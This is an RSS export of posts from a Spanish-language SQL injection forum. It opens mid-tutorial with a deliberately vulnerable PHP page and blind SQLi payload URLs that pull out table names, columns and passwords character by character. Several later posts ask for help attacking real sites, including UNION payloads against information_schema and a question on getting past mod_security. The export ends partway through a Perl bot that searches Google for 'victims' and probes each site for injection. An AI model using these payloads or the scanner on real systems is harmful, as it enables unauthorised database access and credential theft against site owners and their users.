poder practicar les recomiendo Easy PHP , pueden buscarlo en google , descargarlo e instalarlo obviamente xD.Pero creo que lo tengo en algun lado de mi blog.<br />Ok , a continuacion veran un index vulnerable.<br /><br /><br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div>=======================index.php==============================================
<span class="kw2">&lt;?php</span> 
<span class="re0">$host</span> <span class="sy0">=</span> <span class="st_h">'localhost'</span><span class="sy0">;</span> 
<span class="re0">$dbuser</span> <span class="sy0">=</span> <span class="st_h">'root'</span><span class="sy0">;</span> 
<span class="re0">$dbname</span> <span class="sy0">=</span> <span class="st_h">'test'</span><span class="sy0">;</span> 
<span class="re0">$db</span> <span class="sy0">=</span> <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span><span class="sy0">,</span> <span class="re0">$dbuser</span><span class="br0">&#41;</span><span class="sy0">;</span> 
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$dbname</span><span class="sy0">,</span><span class="re0">$db</span><span class="br0">&#41;</span><span class="sy0">;</span> 
<span class="re0">$sql</span> <span class="sy0">=</span> <span class="st0">&quot;SELECT * FROM users WHERE id=&quot;</span><span class="sy0">.</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'id'</span><span class="br0">&#93;</span><span class="sy0">;</span> 
<span class="re0">$query</span> <span class="sy0">=</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span><span class="sy0">;</span> 
<span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">@</span><a href="http://www.php.net/mysql_num_rows"><span class="kw3">mysql_num_rows</span></a><span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span><span class="sy0">==</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span> 
<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st_h">'Cagate! :('</span><span class="br0">&#41;</span><span class="sy0">;</span> 
<span class="br0">&#125;</span> 
<span class="re0">$result</span><span class="sy0">=@</span><a href="http://www.php.net/mysql_fetch_row"><span class="kw3">mysql_fetch_row</span></a><span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span><span class="sy0">;</span> 
<span class="kw1">echo</span> <span class="st0">&quot;&lt;h2&gt;&lt;center&gt;Blind SQL Injection&lt;br&gt;Ejemplos&lt;br&gt;&lt;br&gt;&quot;</span><span class="sy0">;</span> 
<span class="kw1">echo</span> <span class="st0">&quot;&lt;font color='#FF0000'&gt;user_id: &lt;/font&gt;&quot;</span><span class="sy0">.</span><span class="re0">$result</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;&lt;br&gt;&quot;</span><span class="sy0">;</span> 
<span class="kw1">echo</span> <span class="st0">&quot;&lt;font color='#FF0000'&gt;username: &lt;/font&gt;&quot;</span><span class="sy0">.</span><span class="re0">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;&lt;br&gt;&quot;</span><span class="sy0">;</span> 
<span class="co1">// echo &quot;password: &quot;.$result[2].&quot;&lt;br&gt;&quot;; </span>
<span class="kw1">echo</span> <span class="st0">&quot;&lt;/h2&gt;&lt;/center&gt;&quot;</span><span class="sy0">;</span> 
<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><span class="sy1">?&gt;</span> 
===========================================================================</pre>
====<br /><br />Y los datos para la consola sql<br /><br /><br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">CREATE</span> 
<span class="kw1">TABLE</span> 
<span class="st0">`users`</span> <span class="br0">&#40;</span>
<span class="st0">`id`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> 
<span class="kw1">NOT</span> 
<span class="kw1">NULL</span> 
<span class="kw1">AUTO_INCREMENT</span><span class="sy0">,</span>
<span class="st0">`name`</span> varchar<span class="br0">&#40;</span><span class="nu0">25</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> 
<span class="kw1">NULL</span><span class="sy0">,</span>
<span class="st0">`password`</span> varchar<span class="br0">&#40;</span><span class="nu0">50</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> 
<span class="kw1">NULL</span><span class="sy0">,</span>
<span class="st0">`country`</span> varchar<span class="br0">&#40;</span><span class="nu0">20</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> 
<span class="kw1">NULL</span><span class="sy0">,</span>
<span class="kw1">PRIMARY</span> 
<span class="kw1">KEY</span> 
<span class="br0">&#40;</span><span class="st0">`id`</span><span class="br0">&#41;</span>
&nbsp;
&nbsp;
&nbsp;
&nbsp;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">1</span><span class="sy0">,</span> <span class="st0">'Guason'</span><span class="sy0">,</span> <span class="st0">'123'</span><span class="sy0">,</span> <span class="st0">'Argentina'</span><span class="br0">&#41;</span>;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">2</span><span class="sy0">,</span> <span class="st0">'Pero'</span><span class="sy0">,</span> <span class="st0">'11'</span><span class="sy0">,</span> <span class="st0">'Infierno'</span><span class="br0">&#41;</span>;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">3</span><span class="sy0">,</span> <span class="st0">'Trinity'</span><span class="sy0">,</span> <span class="st0">'12354'</span><span class="sy0">,</span> <span class="st0">'Via Lactea'</span><span class="br0">&#41;</span>;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">4</span><span class="sy0">,</span> <span class="st0">'Galaxia'</span><span class="sy0">,</span> <span class="st0">'gaylord'</span><span class="sy0">,</span> <span class="st0">'Cabaret'</span><span class="br0">&#41;</span>;</pre><br /><br /><br />oK , ahora verifiquen que hayan hecho todo bien de lo contrario se les mostrara como 400 errores .<br /><br /><br /><br />0x04:Sacando tablas<br /><br /><br />Ok , ahora vamos a sacar las tablas mediante la siguiente sentencia haciendo de cuenta de que la web atacada es http://127.0.0.1/index.php que vendria a ser su web local con el index del capitulo anterior.<br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT (COUNT(*)) FROM idiotas)<br /><br />Pues esta sentencia nos da un valor falso diciendo Cagate. Pero si probamos con un valor positivo.<br /><br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT (COUNT(*)) FROM users)<br /><br />La pagina se queda en su lugar o mas bien nos dio un resultado positivo ya que si existe la tabla<br />users<br /><br /><br />0x05:Sacar el numero de registro de una tabla<br /><br /><br />Nice , ahora vamos a sacar el numero de registro de una tabla . En este caso vamos a sacar el numero de registro de la tabla users. Para hacerlo seria de la siguiente manera<br /><br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) &gt; 5<br /><br />Este consulta no dara un resultado negativo ya que la tabla users solo contiene 4 registros y<br />4 &gt; 5<br /><br /><br />Entonces iremos probando asi<br /><br /><br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 1 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 2 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 3 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND (SELECT Count(*) FROM users) = 4 (Positivo)<br /><br /><br />Ok , viendo que 4 = 4 , es obvio que la tabla users contiene 4 registros.........<br /><br /><br /><br /><br />0x06:Sacando columnas de las tablas<br /><br /><br />Entonces ya es hora de ir sacando las columnas de la tabla users.Para hacerlo deberian hacer esto.<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT Count(idiotas) FROM users)<br /><br /><br />Esta consulta nos daria negativa ya que no existe ninguna columna llamada idiotas en la tabla users<br /><br /><br />Ahora veamos con las siguientes<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT Count(name) FROM users)<br /><br /><br />Esta consulta nos daria positiva ya que si hay una columna llamada name que vendria a se como el<br />nombre los usuarios.Y ahora con esta<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT Count(password) FROM users)<br /><br />Ok , nos dio positiva porque si existe una columna llamada password en la tabla users que vendria<br />ser la contraseña.<br /><br /><br />0x07:Sacando la longitud de los valores<br /><br /><br />Bien ahora vamos a aprender a sacar la longitud de los valores de la columna name y password de la<br />tabla users.<br /><br />Para sacar la longitud del primer valor de la columna name seria asi<br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) &gt; 7<br /><br />Pues no da un resultado negativo ya que 6 no es mayor que siete que vendria a ser &quot;guason&quot;<br />Entonces para ir descartando seria asi:<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 1 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 2 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 3 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 4 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 5 (Negativo)<br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=1) = 6 (Positivo)<br /><br /><br />Ok , entonces ya podemos deducir que 6 es el numero de caracteres que contiene &quot;guason&quot; que<br />vendria a ser el primer valor de la columna name de la tabla users.<br /><br />Para sacar el password seria asi:<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) &gt; 4<br /><br />Pues esta consulta nos daria un resultado negativo porque 3 no es mayor a 4.Porque el primer valor<br />de la columna password de la tabla users es &quot;123&quot;. Entonces para ir descartando seria asi:<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) = 1 (Negativo)<br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) = 2 (Negativo)<br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(password) FROM users where id=1) = 3 (Positivo)<br /><br />Nice , entonces podemos deducir que el primer valor de la columna password de la tabla users<br />contiene 3 caracteres que en realidad serian &quot;123&quot;.<br /><br />Para ir sacando los otros usuarios solo tendrian que cambiar el 1 por numero del 1 al 4 porque<br />la tabla users solo contiene 4 registros.Ejemplo para sacar otro usuario seria<br /><br /><br />http://127.0.0.1/index.php?id=1+AND(SELECT lenght(name) FROM users where id=2) = 1 (Negativo)<br /><br /><br />Eso seria todo.<br /><br /><br />0x08:Sacar el valor real de una contraseña u otro dato<br /><br /><br />Muy bien ahora bien la mejor parte aunque tambien la peor si no tenes una tool automatizadora.<br />Entonces para sacar la primera letra o numero o lo que sea del primer valor de la columna de la<br />tabla users , seria asi:<br /><br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),1,1)) =<br />103<br /><br /><br />Lo que hice fue convertir una letra &quot;g&quot; a ascii dandome esto &quot;103&quot;.<br />Entonces esta consulta nos da un valor positivo porque el primer letra o numero o lo que sea del<br />primer valor de la columna name de la tabla users es &quot;g&quot; ya que el primer valor de la columna name<br />de la tabla users es &quot;guason&quot;.<br />Para sacar todo seria asi.<br /><br /><br /><br /><br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),2,1))= 117<br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),3,1))= 97<br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),4,1))= 115<br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),5,1))= 111<br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT name FROM users where id=1),6,1))= 110<br /><br />Como todo estas consultas me dieron positivas podemos concluir que:<br /><br /><br />103 = g<br />117 = u<br />97 = a<br />115 = s<br />111 = o<br />110 = n<br /><br />Todo esto si lo juntamos nos da &quot;guason&quot; entonces ya sacamos el el primer valor de la columna<br />name de la tabla users.<br /><br />Ahora para la contraseña seria asi<br /><br /><br /><br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),1,1)) = 49<br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),2,1)) = 50<br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),3,1)) = 51<br /><br />Como todas estas consultas me dieron positivas podemos concluir que :<br /><br /><br />49 = 1<br />50 = 2<br />51 = 3<br /><br /><br />Entonces si juntamos todos estos datos positivos en su orden , nos daria &quot;123&quot; que vendria a ser<br />el valor de la columna password de la tabla users , claro como dice su id solo sacamos el primer valor<br />que vendria a ser el admin.Para sacar otros usuarios seria asi cambiando el 1 del id por un numero<br />del 1 al 4.Un ejemplo seria asi:<br /><br /><br />http://127.0.0.1/index.php?id=1 AND ascii(substring((SELECT password FROM users where id=2),1,1)) = 49<br /><br />Dando un valor positivo ya que el segundo valor de la columna password de la tabla users , su primer<br />caracter es 1.Porque en realidad el valor real de la columna password de tabla user es &quot;11&quot;.<br /><br /><br />0x09:Despedida<br /><br />Espero que les haya gustado si no , no me interesa xD. El proceso de sacar los caracteres de las<br />columnas es un proceso dificil por lo que tendra que hacerse una tool.Yo habia hecho una muy buena<br />que daba todo tipo de ataques &quot;blind,mysql&quot; pero es una tool de 1500 lineas de codigo por lo que<br />es totalmente privada para regalar su codigo a cualquiera........<br /><br />Good Bye]]></description>
<dc:creator>Guason</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Mon, 01 Mar 2010 20:30:34 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6144,6144#msg-6144</guid>
<title>Problema con una Mysql injeccioon (5 replies)</title><link>https://foro.undersecurity.net/read.php?5,6144,6144#msg-6144</link><description><![CDATA[hola comunidad de UnderSecurity, primero quiero decirles que el foro esta genial<br />y les deseo lo mejor q sigan adelante :D<br /><br />bueno les explico mi problema<br />buscando paginas web vulnerables a sqli encontré una que me a dado problemas a la hora de sacar las tablas con el information_schema<br />al injectar esto 1+union+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14+from+information_schema.tables--<br /><br />me sale este error<br />Illegal mix of collations for operation 'UNION' [1271]<br /><br />alguien sabe a que se deba ese error, o hay otra forma de sacar las tablas??<br /><br />es version 5.0.51,<br /><br />saludos]]></description>
<dc:creator>kpext</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Fri, 15 Jan 2010 20:57:09 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6116,6116#msg-6116</guid>
<title>[DUDA] SqlY Unable to jump to row 0 on MySQL result index (4 replies)</title><link>https://foro.undersecurity.net/read.php?5,6116,6116#msg-6116</link><description><![CDATA[Hola, pues mi duda es la siguiente a este mensaje de error <pre class="php bbcode_geshi"><div class="head">Language: PHP</div>Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result index</pre> se le puede hacer algun tipo de inyecion ? estube investigando y en ingles mencionaban el uso de &quot;order&quot; y &quot;union&quot; pero eso siempre lo uso pero con los metodos tradicionales no funciona, Gracias por adelantado]]></description>
<dc:creator>m[a]rkus</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Thu, 14 Jan 2010 16:03:03 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,5575,5575#msg-5575</guid>
<title>Como creo information schema para inyecciones sql (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,5575,5575#msg-5575</link><description><![CDATA[Les queria preguntar como se crear la columna information schema porque quiero practicar<br /><br />inyecciones con esa tecnica. Estoy usando Easy PHP y solo tengo activada mysql.user. Tambien<br /><br />tengo el soft phpmyadmin. ¿Alguien me podria explicar como creo a information schema=?]]></description>
<dc:creator>Guason</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Mon, 30 Nov 2009 18:44:22 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,5430,5430#msg-5430</guid>
<title>[Duda] Logeo /admin ¿? (4 replies)</title><link>https://foro.undersecurity.net/read.php?5,5430,5430#msg-5430</link><description><![CDATA[Buenas, hace unas horas conseguí mi primera inyección SQL, la verdad que por curiosidad, estaba buscando unos parches para mi PES y me dió por probar añadirle la comilla simple ', y luego el and 1 = 1, and 1=0, y viendo lo que salía me puse a probar a ver si era capaz de sacar el usuario y contraseña.<br /><br />Post: http://foro.undersecurity.net/read.php?47,5423 , el tema es que lo conseguí, pero sin embargo, a la hora d eintentar logearme en el directorio /admin con los usuarios que extraje, ninguno es correcto (son 3), alguien podría saber decirme por qué?<br /><br />Graciass y un saludo!]]></description>
<dc:creator>BlDKr</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 24 Nov 2009 19:04:42 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,4578,4578#msg-4578</guid>
<title>ayuda web con MySQL (7 replies)</title><link>https://foro.undersecurity.net/read.php?5,4578,4578#msg-4578</link><description><![CDATA[hola amigos estoy por aqui liado con esta web<br />http://www.localhost/es/category.php?id=458%20and%20(select%20substring(concat(1,password),1,1)%20from%20users%20limit%200,1)=1<br />tiene un blind sql la tabla se llama users y la columna se llama password pero me que do ahy no entiendo muy bien los pocos tutos que tengo sera que alguin me podria dar una luz con esta web para mirar como sacar la otra info muchas gracias y perdonen mi torpeza saludos<br />bytes<br /><br /><br />Oz: Evitar poner Paginas... Solo en Full-D]]></description>
<dc:creator>ReNcOoR</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Sun, 11 Oct 2009 19:12:45 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,4546,4546#msg-4546</guid>
<title>SQLi con filtrado de caracteres (5 replies)</title><link>https://foro.undersecurity.net/read.php?5,4546,4546#msg-4546</link><description><![CDATA[Buenass<br /><br />estoy empezando con esto de SQL injection. Me he topado con una web que actúa de la siguiente forma, parametro vulnerable id.<br /><br />zona=noticias&amp;id=<br /><br /><br />zona=noticias&amp;id='<br />Si le meto una comilla me responde con:<br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br /><br />Por lo que entiendo que tiene activado las magic quotes o mysql_real_escape_string y que no filtra los parametros<br /><br />Si trato de meter un union select, no me da un mensaje de error común sino que me devuelve una respuesta HTTP 406 Not Acceptable<br />con:<br />Not Acceptable<br /><br />An appropriate representation of the requested resource /comun.php could not be found on this server.<br /><br />Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.<br /><br />Por lo que supongo que tiene el mod_security ( es un server apache )<br /><br />Lo siguiente que he mirado es intentar sacar el número de campos con order by, aunque no parece tener utilidad<br /><br />zona=noticias&amp;id=2 order by 13-- &lt;-- ok<br />zona=noticias&amp;id=2 order by 14-- &lt;-- error<br /><br />Por lo que supongo que tiene 14 campos. ¿Cómo puedo seguir?]]></description>
<dc:creator>deibix</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Sun, 11 Oct 2009 09:55:51 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,4163,4163#msg-4163</guid>
<title>Bot MySql Search Google v 1.0 (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,4163,4163#msg-4163</link><description><![CDATA[Bueno estuve haciendo algo parecido a un bot solamente que algo de actividad humana nesesita, pero en el proximo voy automatizarlo por completo.<br />Este codigo nos sirve para buscar victimas a partir de google luego lo mantiene en un array a los posibles target y luego elegimos a cual de ellas automatizar la inyeccion mediante UNION.<br />En la version 2.0 voy a guardar todo en un archivo y que luego empieze a inyectar solo y no diga cual tuvo exito y cual no, y en el caso de las que no podriamos probarlo a mano.<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#Bot MySql Search Google v 1.0</span>
<span class="co1">#Coded by Magnobalt</span>
<span class="co1">#contact Msn: magnobalt@gmail.com </span>
<span class="co1">#thanks www-Insecurity.cl &amp;&amp; www.undersecurity.net</span>
&nbsp;
<span class="co1">#!/usr/bin/perl</span>
        <span class="kw2">use</span> LWP<span class="sy0">::</span><span class="me2">Simple</span><span class="sy0">;</span>
        <span class="kw2">use</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">;</span>
        <span class="kw2">use</span> HTTP<span class="sy0">::</span><span class="me2">Request</span><span class="sy0">;</span>
	<span class="kw2">sub</span> seguir<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	     <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[?]Desea Seguir con otro enlace Y/N: &gt;&gt;&quot;</span><span class="sy0">;</span>
	     <span class="re0">$seguir</span><span class="sy0">=</span><span class="re4">&lt;STDIN&gt;</span><span class="sy0">;</span>
	     <a href="http://perldoc.perl.org/functions/chomp.html"><span class="kw3">chomp</span></a><span class="br0">&#40;</span><span class="re0">$seguir</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$seguir</span> <span class="sy0">=~/</span><span class="br0">&#91;</span>Yy<span class="br0">&#93;</span><span class="sy0">/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<a href="http://perldoc.perl.org/functions/goto.html"><span class="kw3">goto</span></a> tamanio<span class="sy0">;</span>
		<span class="br0">&#125;</span><span class="kw1">else</span> <span class="br0">&#123;</span>
		      <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a><span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+++++++++++++++++++++++++++<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+ Coded by MagnoBalt 2009 +<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+++++++++++++++++++++++++++<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
		      <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
        	<span class="br0">&#125;</span>        
	<span class="br0">&#125;</span>
&nbsp;
	<span class="kw1">my</span> <span class="re0">$sis</span><span class="sy0">=</span><span class="st0">&quot;$^O&quot;</span><span class="sy0">;</span>if <span class="br0">&#40;</span><span class="re0">$sis</span> <span class="kw1">eq</span> <span class="st_h">'MSWin32'</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/system.html"><span class="kw3">system</span></a><span class="br0">&#40;</span><span class="st0">&quot;cls&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/system.html"><span class="kw3">system</span></a><span class="br0">&#40;</span><span class="st0">&quot;clear&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="br0">&#125;</span> <span class="co1">#que sistema operativo es</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+++++++++++++++++++++++++++++++<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+     Bot MySQL Search Google +<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+         By MagnoBalt        +<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;+++++++++++++++++++++++++++++++<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: &gt;&gt; &quot;</span><span class="sy0">;</span>
        <span class="re0">$dork</span><span class="sy0">.=</span><span class="re4">&lt;STDIN&gt;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/chomp.html"><span class="kw3">chomp</span></a><span class="br0">&#40;</span><span class="re0">$dork</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[?]Total de paginas de busquedas en Google: &gt;&gt; &quot;</span><span class="sy0">;</span>
        <span class="re0">$paginas</span><span class="sy0">.=</span><span class="re4">&lt;STDIN&gt;</span> <span class="sy0">;</span>
	<a href="http://perldoc.perl.org/functions/chomp.html"><span class="kw3">chomp</span></a><span class="br0">&#40;</span><span class="re0">$paginas</span><span class="br0">&#41;</span><span class="sy0">;</span>
        <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>[+]Search:<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
        <span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span><span class="re0">$i</span> <span class="sy0">&lt;=</span> <span class="re0">$paginas</span><span class="sy0">*</span><span class="nu0">10</span><span class="sy0">;</span><span class="re0">$i</span> <span class="sy0">+=</span> <span class="nu0">10</span><span class="br0">&#41;</span>
        <span class="br0">&#123;</span>       
        <span class="re0">$busqueda</span> <span class="sy0">=</span> <span class="st0">&quot;http://www.google.com/search?hl=en&amp;q=&quot;</span><span class="sy0">.</span><span class="re0">$dork</span><span class="sy0">.</span><span class="st0">&quot;&amp;btnG=Search&amp;start=&quot;</span><span class="sy0">.</span><span class="re0">$i</span><span class="sy0">;</span>
            <span class="co1">#$busqueda=&quot;http://www.google.com/search?hl=es&amp;client=iceweasel-a&amp;rls=org.debian:es-AR:unofficial&amp;q=inurl:.php\%3Fid\%3D+site:com.ar&amp;start=&quot;.$i;</span>
	    <span class="re0">$ua</span> <span class="sy0">=</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>agent <span class="sy0">=&gt;</span> <span class="st_h">'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'</span><span class="br0">&#41;</span><span class="sy0">;</span>
            <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">7</span><span class="br0">&#41;</span><span class="sy0">;</span>
            <span class="co1">#$ua-&gt;env_proxy;</span>
            <span class="re0">$response</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">get</span><span class="br0">&#40;</span><span class="re0">$busqueda</span><span class="br0">&#41;</span><span class="sy0">;</span>
	    <span class="re0">$source</span><span class="sy0">=</span> <span class="re0">$response</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="sy0">;</span>
            <span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$source</span> <span class="sy0">=~</span> <span class="co2">m/&lt;h3 class=.*?&lt;a href=&quot;([^&quot;]+).*?&gt;(.*?)&lt;\/a&gt;/g</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">#thanks yoyahack</span>
	     <span class="co1"># print &quot;regular 1: $1\n&quot;;</span>
	     <span class="co1"># print &quot;regular 2: $2\n&quot;;</span>
	     <span class="kw1">my</span> <span class="re0">$enlace</span> <span class="sy0">=</span> <span class="co3">$1</span><span class="sy0">;</span>
	     <span class="re0">$testing</span><span class="sy0">=</span><span class="re0">$enlace</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\'</span>&quot;</span><span class="sy0">;</span>
	     <span class="re0">$ua</span><span class="sy0">=</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span>agent <span class="sy0">=&gt;</span> <span class="st_h">'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12'</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="re0">$response</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">get</span><span class="br0">&#40;</span><span class="re0">$testing</span><span class="br0">&#41;</span><span class="sy0">;</span>
	     <span class="re0">$error</span><span class="sy0">=</span><span class="re0">$response</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="sy0">;</span>
